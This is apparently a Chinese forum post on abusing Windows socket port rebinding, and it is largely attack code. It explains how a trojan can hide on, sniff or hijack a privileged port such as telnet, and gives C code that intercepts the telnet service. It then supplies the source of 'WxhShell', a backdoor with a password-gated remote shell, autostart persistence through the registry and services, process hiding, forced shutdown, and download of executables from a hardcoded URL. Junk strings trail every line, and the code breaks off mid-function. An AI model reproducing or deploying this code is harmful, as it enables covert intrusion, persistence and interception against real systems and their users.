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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mX3~rK>@~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V9[-# Ti  
~SgW+sDF u  
  saddr.sin_family = AF_INET; 7?a@i; E<  
}`#OA]NZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S`HshYlE q  
]H<5]({F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UmYReF<<_  
Jlw%t!Kx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [ fvip_Pt  
5ws|4V  
  这意味着什么?意味着可以进行如下的攻击: sf )ojq6s  
I;H6E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4Kjrk7GAx  
$MD|YW5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jY>|>]4X  
V^fSrW]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F F<xsoZJ  
^% y<7>%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,4W| e!  
3]xe7F'`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4a3Xz,[(a  
bl@0+NiM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F7$x5h@  
_=W ^#z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s`"o-w\$>  
.w5#V|   
  #include n+Ofbiz@  
  #include 6&/H XqP  
  #include '5xf?0@s.  
  #include    <L|eY(:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {!5"Y(>X  
  int main() 8B ZTHlUB  
  { ,Q|[Yr  
  WORD wVersionRequested; mNkS!(L6  
  DWORD ret; JqWMO!1  
  WSADATA wsaData; jP'.a. ^o$  
  BOOL val; ! K? o H  
  SOCKADDR_IN saddr; vt{s"\f  
  SOCKADDR_IN scaddr; Mf0!-bu  
  int err; vd7%#sHH&  
  SOCKET s; i8R.Wl$l  
  SOCKET sc; _Eq*  
  int caddsize; hgCF!eud  
  HANDLE mt; zA+&V7bvy  
  DWORD tid;   0Yz &aH  
  wVersionRequested = MAKEWORD( 2, 2 ); V0hC[Ilr  
  err = WSAStartup( wVersionRequested, &wsaData ); 5`mRrEA  
  if ( err != 0 ) { fdr.'aMf%  
  printf("error!WSAStartup failed!\n"); b_ 88o-*/  
  return -1; C6Qnn@waYb  
  } CD#:*  
  saddr.sin_family = AF_INET; `jY*0{  
   Id8^6FLw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v5"5UPi-  
I}oxwc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mo%9UL,#W  
  saddr.sin_port = htons(23); (Bs0 /C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TbyQ'MbUv  
  { e-<fkU9^W  
  printf("error!socket failed!\n"); NJ8QI(^"  
  return -1; ~7PPB|XY  
  } l'YpSO~l7  
  val = TRUE; :32  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x#yL&+'?Mj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |6LC>'  
  { _%Q\G,a;  
  printf("error!setsockopt failed!\n"); xQs2 )  
  return -1; I^ W  
  }  8.D$J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *LJN2;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pE >~F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $?p^ m`t_  
<~# ZtD$G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W&`_cGoP  
  { Tysh~C|1  
  ret=GetLastError(); %)_R>.>  
  printf("error!bind failed!\n"); _[h1SAJ  
  return -1; K V ^ `  
  } w#_xV =  
  listen(s,2); N,|:=gD_  
  while(1) -Zfzl`r  
  { Uxx=$&#  
  caddsize = sizeof(scaddr); ry}CND(nB  
  //接受连接请求 b8)>:F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jeMh  
  if(sc!=INVALID_SOCKET) M9*7r\hqYV  
  { &s_O6cqgh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y|V/xm+Fp  
  if(mt==NULL) Bn*D<<{T  
  { hfP}+on%  
  printf("Thread Creat Failed!\n"); m *8[I  
  break; AR'q2/cw  
  } mJ0nyjX^  
  } f5zxy!dhKS  
  CloseHandle(mt); {y=H49  
  } uc~PKU?tO  
  closesocket(s); F>&Q5Kl R  
  WSACleanup(); oH!sJ&"#_  
  return 0; ":?>6'*1  
  }   hu[=9#''$  
  DWORD WINAPI ClientThread(LPVOID lpParam) *>rpcS<l  
  { Y TxUKE:  
  SOCKET ss = (SOCKET)lpParam; 1eI >Yy>}  
  SOCKET sc; |{cdXbr  
  unsigned char buf[4096]; ^#e:q  
  SOCKADDR_IN saddr; 3(%hHM7DM  
  long num; x_{ua0BLDf  
  DWORD val; Q?n} ~(% &  
  DWORD ret; g*\u8fpRq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sLzcTGa2:z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V^nYG$si  
  saddr.sin_family = AF_INET; Sj(uc#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O:Bfbna  
  saddr.sin_port = htons(23); [ivz/r(Rj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ja70w:ja  
  { ukv _bw  
  printf("error!socket failed!\n"); F%bv vw*(  
  return -1; &M=12>ah]  
  } h=YY> x  
  val = 100; ui`xgR\6Rh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rX%#Q\0h  
  { )y'`C@ijI  
  ret = GetLastError(); Q[scmP^$^  
  return -1; *fW&-ic  
  } :Y(Yk5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;SeDxyKG  
  { <|k!wfHL  
  ret = GetLastError(); e<YC=67n)  
  return -1; yEtI5Qk  
  } [nn/a?Z4S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uCF+Mp  
  { gWqmK/.U.0  
  printf("error!socket connect failed!\n"); Q#urx^aw  
  closesocket(sc); ;gy_Qf2U  
  closesocket(ss); |^C?~g  
  return -1; 6g29!F`y  
  } kI]i,v#F  
  while(1) 2,/("lV@0  
  { TgJx%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a2v UZhkR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FoWE<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V%dMaX>^i  
  num = recv(ss,buf,4096,0); C"k8 M\RW?  
  if(num>0) z 4Qz9#*"^  
  send(sc,buf,num,0); ].pz  
  else if(num==0) y&t&'l/m  
  break; EyI 9$@4  
  num = recv(sc,buf,4096,0); 2$yKa5SaX  
  if(num>0) #p&iH9c_  
  send(ss,buf,num,0); fU!C:  
  else if(num==0) dE_BV=H{  
  break; ($7>\"+Tl  
  } 3%{XJV   
  closesocket(ss); VhT4c+Zs  
  closesocket(sc); <5@+:7Dv  
  return 0 ; /XEcA 5C<  
  } )AXTi4MNp  
{Mp>+e@xx  
$n(?oyf  
========================================================== J;+tQ8,AP  
|q^e&M<  
下边附上一个代码,,WXhSHELL bd_U%0)pi1  
uh\I'  
========================================================== r&A#h;EQX2  
q-/A_5>!;f  
#include "stdafx.h" SLSJn))@!  
Itr yiU9  
#include <stdio.h> ~PHAC@pU  
#include <string.h> F:n(yXA  
#include <windows.h> {[hV ['Awv  
#include <winsock2.h> 92]>"  
#include <winsvc.h> DvF`KHsy  
#include <urlmon.h> szF[LRb  
$f_;>f2N  
#pragma comment (lib, "Ws2_32.lib") _I<eJ\  
#pragma comment (lib, "urlmon.lib") 28d:  
JiDX|Q<c  
#define MAX_USER   100 // 最大客户端连接数 <uU AAHi  
#define BUF_SOCK   200 // sock buffer QVL92"  
#define KEY_BUFF   255 // 输入 buffer _{_LTy%[  
8 fVI33  
#define REBOOT     0   // 重启 6>%)qc$i  
#define SHUTDOWN   1   // 关机 d5T0#ue/e  
Fq&@dxN3  
#define DEF_PORT   5000 // 监听端口 1MRt_*N4  
ym2\o_^(  
#define REG_LEN     16   // 注册表键长度 8niQG']  
#define SVC_LEN     80   // NT服务名长度 _Jj|g9b  
=NSLx2:T  
// 从dll定义API YCeE?S1gk3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ykRKZYfsw(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pb{'t2kk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @=K> uyB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +'= ^/!  
A>%fE 6FY  
// wxhshell配置信息 JR$Dp&]I  
struct WSCFG { yh]#V"W3  
  int ws_port;         // 监听端口  |}QDC/  
  char ws_passstr[REG_LEN]; // 口令 .J%}ROm  
  int ws_autoins;       // 安装标记, 1=yes 0=no TcpD*%wW  
  char ws_regname[REG_LEN]; // 注册表键名 _R8)%<E  
  char ws_svcname[REG_LEN]; // 服务名 UQPd@IVu6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [LL"86D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =k2+VI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (+@3Dr5o0}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Q.2:*d.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Z+N*w~8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  _"%d9B  
$*xnq%A  
}; A}~hc&J  
cP$b>3O  
// default Wxhshell configuration +m:U9K(\h  
struct WSCFG wscfg={DEF_PORT, 6[aCjW  
    "xuhuanlingzhe", "o<:[c9/  
    1, f|Z3VS0x  
    "Wxhshell", @2CYv>  
    "Wxhshell", &ad9VB7  
            "WxhShell Service", x\3 ` W  
    "Wrsky Windows CmdShell Service", +z>*m`}F  
    "Please Input Your Password: ", 8BE OE<  
  1, KP _=#KD  
  "http://www.wrsky.com/wxhshell.exe", -*e$>w[.N  
  "Wxhshell.exe" }s}b]v  
    };  Ca@[]-_H  
 YDi_Gl$  
// 消息定义模块 bk2 HAG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  R(k6S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xfkG&&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; : 60PO  
char *msg_ws_ext="\n\rExit."; ;)0vxcMB  
char *msg_ws_end="\n\rQuit."; `r_qvrC  
char *msg_ws_boot="\n\rReboot..."; 7fI[yCh  
char *msg_ws_poff="\n\rShutdown..."; jt Q2vJ-  
char *msg_ws_down="\n\rSave to "; ~M(K{6R  
e>nRJH8pK  
char *msg_ws_err="\n\rErr!"; aNn< NW  
char *msg_ws_ok="\n\rOK!"; 0z#+^  
FLEf(  
char ExeFile[MAX_PATH]; v}xz`]MW<,  
int nUser = 0; lk6mu  
HANDLE handles[MAX_USER]; Y)c9]1qly  
int OsIsNt; 9m!4U2N,s  
wXuHD<<  
SERVICE_STATUS       serviceStatus; YOGw Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0J@)?,V-.  
Va(R*38k  
// 函数声明 J:#B,2F+^  
int Install(void); ;]Y.2 J  
int Uninstall(void); 3t68cdFlz  
int DownloadFile(char *sURL, SOCKET wsh); LNXhzW   
int Boot(int flag); Y_Ej-u+>{  
void HideProc(void); >I]t |RT])  
int GetOsVer(void); ThJLaNS  
int Wxhshell(SOCKET wsl); 7k+UCi u>  
void TalkWithClient(void *cs); U+~0m!|4  
int CmdShell(SOCKET sock); t+m$lqm  
int StartFromService(void); kSB)}q6a  
int StartWxhshell(LPSTR lpCmdLine); Iimz  
`o/tpuI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^Bm9y R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,8+SQo #3  
UbY-)9==  
// 数据结构和表定义 :V}8a!3h  
SERVICE_TABLE_ENTRY DispatchTable[] = h!yF   
{ dfc-#I p?  
{wscfg.ws_svcname, NTServiceMain}, ~}8 3\LI}  
{NULL, NULL} r6Pi ZgR  
}; y'2K7\>E  
JS({au  
// 自我安装 ;Qk*h'}f  
int Install(void) 5T8X2fS:  
{ si3i#l&.b_  
  char svExeFile[MAX_PATH]; <| Xf4.  
  HKEY key; Gxm+5q  
  strcpy(svExeFile,ExeFile); Be8Gx  
2$qeNy  
// 如果是win9x系统,修改注册表设为自启动 OaU} 9&  
if(!OsIsNt) { G dL\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =*"Amd,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g@B9i =  
  RegCloseKey(key); -uy}]s5Qu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1PLKcU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ={={ W  
  RegCloseKey(key); wpx,~`&  
  return 0; LEyn1d  
    } hl6al:Y  
  } k(%RX _]C  
} N;r,B  
else { 4J94iI>S.l  
L?Wl#wP\;*  
// 如果是NT以上系统,安装为系统服务 =E4nNL?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KC q3S  
if (schSCManager!=0) Axj<e!{D  
{ 9L!Vj J  
  SC_HANDLE schService = CreateService pA+Qb.z5z  
  ( b cz<t)  
  schSCManager, [h%_`8z  
  wscfg.ws_svcname, YwB 5Zqr  
  wscfg.ws_svcdisp, ?G!^ |^S*  
  SERVICE_ALL_ACCESS, 'Nfg%)-N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'DntZK  
  SERVICE_AUTO_START, 8ne5 B4  
  SERVICE_ERROR_NORMAL, 8b6:n1<fn  
  svExeFile, JK,#dA#  
  NULL, w:z_EV!&  
  NULL, \Cx3^ i X  
  NULL, {nj\dU  
  NULL, 1DZGb)OU  
  NULL DU}q4u@ )  
  ); r10)1`[  
  if (schService!=0) |mMW"(~  
  { e5veq!*C?  
  CloseServiceHandle(schService); aASnk2DFd  
  CloseServiceHandle(schSCManager); bs_I{bCu?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $JX_e  
  strcat(svExeFile,wscfg.ws_svcname); i}+dctg/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u@==Ut  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ai#W. n  
  RegCloseKey(key); 3 5|5|m a  
  return 0; r"5]U`+  
    } xvpS%MS  
  } (qohb0  
  CloseServiceHandle(schSCManager); 9H.E15B  
} CgEeO,N]j  
} atl0#FBd  
U%w-/!p  
return 1; $XT&8%|*7  
} "b -KVZ  
%v}:#_va]  
// 自我卸载 Q#:,s8TW[  
int Uninstall(void) T*A_F [  
{ )O2^?Q quS  
  HKEY key; yVh]hL#4+w  
Q v{q:=k  
if(!OsIsNt) { , JVD ;u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oleRQ=  
  RegDeleteValue(key,wscfg.ws_regname); n:k~\-&WJ  
  RegCloseKey(key); W P.6ea7k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )G*H l^Z;4  
  RegDeleteValue(key,wscfg.ws_regname); if^\Gs$  
  RegCloseKey(key); nM}X1^PiK"  
  return 0; 7 NJ1cQ-}t  
  } O a-Z eCq  
} ~>#=$#V   
} . 1?AU 6\  
else { 3(FJ<,"D}  
%)q5hB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pN%L3?2  
if (schSCManager!=0) v?d~H`L  
{ Ce`{M&NSWX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fkk\Q>J9!=  
  if (schService!=0) wU+ofj; +I  
  { <VgnrqF6:  
  if(DeleteService(schService)!=0) { lBPZB%  
  CloseServiceHandle(schService); W@pVP4F0xM  
  CloseServiceHandle(schSCManager); q] ,&$d^@  
  return 0; c9f~^}jNb  
  } -?'u"*#1,  
  CloseServiceHandle(schService); X$%RJ3t e  
  } B6=8cf"i  
  CloseServiceHandle(schSCManager); M^+~r,D1u  
} r7w&p.?  
} Mx$VAV^\  
PtmdUHvD  
return 1; 3haY{CEr  
} ot-!_w<  
yuKfhg7  
// 从指定url下载文件 \{NeDv{A  
int DownloadFile(char *sURL, SOCKET wsh) #7gOtP#{  
{ w 7=Y_  
  HRESULT hr; 0)9GkHVu(  
char seps[]= "/"; "&L<u0KHG  
char *token; eFZ`0V0  
char *file; @c7 On)sy  
char myURL[MAX_PATH]; ^HC! my  
char myFILE[MAX_PATH]; 6>bKlYl&9  
}54\NSj0  
strcpy(myURL,sURL); 97$y,a{6  
  token=strtok(myURL,seps); %{o5 }TqD  
  while(token!=NULL) W&Fa8  
  { ng<|lsZd  
    file=token; 5#WZXhlc}  
  token=strtok(NULL,seps); ^@L  
  } N"HN] Y@w  
\N/T^,  
GetCurrentDirectory(MAX_PATH,myFILE); bjD0y cB[  
strcat(myFILE, "\\"); Ur5X~a\y  
strcat(myFILE, file); uXK$5"  
  send(wsh,myFILE,strlen(myFILE),0); 6=|Q>[K  
send(wsh,"...",3,0); yK[ ~(!c5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sowkxw.^Q  
  if(hr==S_OK) I /> .P  
return 0; Lqwc:%Y:_  
else ?t?!)#X  
return 1; dL[mX .j"  
P]!eM(  
} OP``g/x)  
NV*t  
// 系统电源模块 [&)9|EV  
int Boot(int flag) kdg Q -UN$  
{ RHE< QG  
  HANDLE hToken; =Z%&jul  
  TOKEN_PRIVILEGES tkp; 5k<HO_]  
mxDy!:@=  
  if(OsIsNt) { *3. ]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mlIc`GSI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =`.9V<  
    tkp.PrivilegeCount = 1; Nu|?s-   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9> [ $;>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #J1a `}x  
if(flag==REBOOT) { s}/YcUK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OG}0{?  
  return 0; E-Cj^#OY|N  
} iOzw)<  
else { Sh{odrMj*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Z2%b>  
  return 0; P+oCcYp  
} ]Nsb V  
  } s)&"g a  
  else { +| Cvv]Tx1  
if(flag==REBOOT) { ioh_5 5e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0'aZ*ozk  
  return 0; uXtfP?3Vy  
} =C5 [75z#+  
else { h:j-Xd$H+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nD E5A  
  return 0; T>W(Caelq  
} tAYu|\]  
} fZXd<Fg+  
[=..#y!U  
return 1; N[r@Y{  
} ygT,I+7\  
ZLo3 0*  
// win9x进程隐藏模块 :t9(T?2  
void HideProc(void) H6e ^" E  
{ Q/0;r{@Tq}  
ezHj?@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N b(se*Y#  
  if ( hKernel != NULL ) B/pNM81(  
  { D`,@EW].  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o$Hc5W([Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *4=Fy:R]O  
    FreeLibrary(hKernel); &X +@,!  
  } sOVaQ&+y  
jZ.+b j >  
return; + ZGOv,l  
} NE3G!qxL  
+.[#C5  
// 获取操作系统版本 gy~M]u{  
int GetOsVer(void) ZhM-F0;`  
{ y\)bxmC  
  OSVERSIONINFO winfo; 9l OUE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'Y>!xm   
  GetVersionEx(&winfo); u4fTC})4{C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vjbot^W9  
  return 1; (?q]E$ @  
  else 5C{X$7u  
  return 0; 0.&gm@A~c$  
} yvNYYp2r  
RwT.B+Onuy  
// 客户端句柄模块 d|DIq T~{W  
int Wxhshell(SOCKET wsl) p 4(-  
{ r|rV1<d  
  SOCKET wsh; cC WOG d  
  struct sockaddr_in client; -hhE`Y  
  DWORD myID; /sJk[5!z  
SLZv`  
  while(nUser<MAX_USER) qF( ]Ce  
{ vad" N  
  int nSize=sizeof(client);  <}B|4($  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5F&i/8Ib  
  if(wsh==INVALID_SOCKET) return 1; +Y 3_)  
0-FwHDxw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xAz gQ  
if(handles[nUser]==0) ^W#[6]S  
  closesocket(wsh); @yobT,DXi  
else $W` &7  
  nUser++; :GGsQ n  
  } K\n %&w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0Wv9K~F  
Tz%l 9aC  
  return 0; ,3N8  
} j>0S3P,  
/A##Yv!biR  
// 关闭 socket 8>O'_6Joj  
void CloseIt(SOCKET wsh) TvM{ QGN  
{ Ia>qVM0  
closesocket(wsh); ^JY R^X>_  
nUser--; t}NxD`8  
ExitThread(0); & }k=V4L  
} |(y6O5Y.  
Rra(/j<rQ  
// 客户端请求句柄 nb?bx{M  
void TalkWithClient(void *cs) 4+l7v?:Pr  
{ /?2yo{F g  
%;^6W7  
  SOCKET wsh=(SOCKET)cs; f\/};a  
  char pwd[SVC_LEN]; 7_q"%xH  
  char cmd[KEY_BUFF]; 0!+ab'3a  
char chr[1]; zse! t  
int i,j; S,Tm=} wj  
I|iI ,l/9  
  while (nUser < MAX_USER) { 15nc  
qxd{c8  
if(wscfg.ws_passstr) { ^_2Ki   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NW!e@;E+i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); US> m1KsX  
  //ZeroMemory(pwd,KEY_BUFF); Uc7X)  
      i=0; x1A^QIuxO  
  while(i<SVC_LEN) { AO^F6Y/  
H]@Zp"7  
  // 设置超时 (m.]0v*&c  
  fd_set FdRead; 1Rl`}7Km  
  struct timeval TimeOut; ( B50~it  
  FD_ZERO(&FdRead); ?nU V3#6{  
  FD_SET(wsh,&FdRead); EXb{/4  
  TimeOut.tv_sec=8; YMqL,& Q{1  
  TimeOut.tv_usec=0; rr9HC]63  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G)b]uX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8|yhe%-O  
T5Pc2R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?&/9b)cS  
  pwd=chr[0]; aY3kww`  
  if(chr[0]==0xd || chr[0]==0xa) { 9f BD.9A  
  pwd=0; {L<t6A  
  break; E*RP8  
  } hkW"D<i i-  
  i++; T 0^U ]C  
    } q+ )KY  
Qy4AuMU2  
  // 如果是非法用户,关闭 socket d@#=cvW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5'oWd e  
} Ep0Aogp29  
X*FK6,Y|(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )OjbmU!7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q{KRM\ooYs  
|wK)(s  
while(1) { p4aM`PW8>=  
ZO0_:T#Z  
  ZeroMemory(cmd,KEY_BUFF); hoU&'P8  
QuF%m^aE  
      // 自动支持客户端 telnet标准   X>*zA?:  
  j=0; G.<9K9K  
  while(j<KEY_BUFF) { D0"+E*   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4I,@aj46  
  cmd[j]=chr[0]; tK8\Ib J  
  if(chr[0]==0xa || chr[0]==0xd) { "gK2!N|#  
  cmd[j]=0; )Dqv&^  
  break; C,fIwqOr3  
  } uiiA)j*!  
  j++; nz>A\H  
    } ,ew<T{PL  
h]MSjC.X  
  // 下载文件 aIqNNR  
  if(strstr(cmd,"http://")) { U ][.ioc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #*Mk@XrV  
  if(DownloadFile(cmd,wsh)) jp[QA\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $F/&/Aa  
  else YK}(VF?&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qt@~y'O  
  } CQv [Od  
  else { 1J<-P9 vk+  
.h7b 4J  
    switch(cmd[0]) { ~vF.k,  
  fcV/co_S6  
  // 帮助 gHox{*hb[  
  case '?': { _@"Y3Lqi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `w~ 9/sty  
    break; ?B h}  
  } 4|Y0 $(6o  
  // 安装 2\s-4H| q  
  case 'i': { 2etlR  
    if(Install()) />f`X+d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z Gz5|u  
    else ,eZ'pxt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {/ty{  
    break; # ^%'*/z  
    } 5[Q44$a{  
  // 卸载 F92n)*[  
  case 'r': { M5%xp.B  
    if(Uninstall()) yGN<.IP75  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F.@yNr"  
    else ;dB=/U>3U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lGcHfW)Y  
    break; wI`uAZ="  
    } (Ojg~P4;&  
  // 显示 wxhshell 所在路径 ~gX@2!D5k  
  case 'p': { L8ZCGW\Rr  
    char svExeFile[MAX_PATH]; my04>6j0  
    strcpy(svExeFile,"\n\r"); sL!6-[N  
      strcat(svExeFile,ExeFile); =B?uNoe  
        send(wsh,svExeFile,strlen(svExeFile),0); @&2T0UB  
    break; !(o)*S  
    } >\>HRyt%  
  // 重启 uF< F4m;  
  case 'b': { @V<tg"(c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NghQ#c  
    if(Boot(REBOOT)) 2+Fq'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >\@6i s  
    else { IAtc^'l#  
    closesocket(wsh); ^Yn6kF  
    ExitThread(0); 5E.cJ{   
    } AS8T!  
    break; Ky$ <WZs  
    }  w[VWk  
  // 关机 sA` bPhk  
  case 'd': { N>gv!z[E  
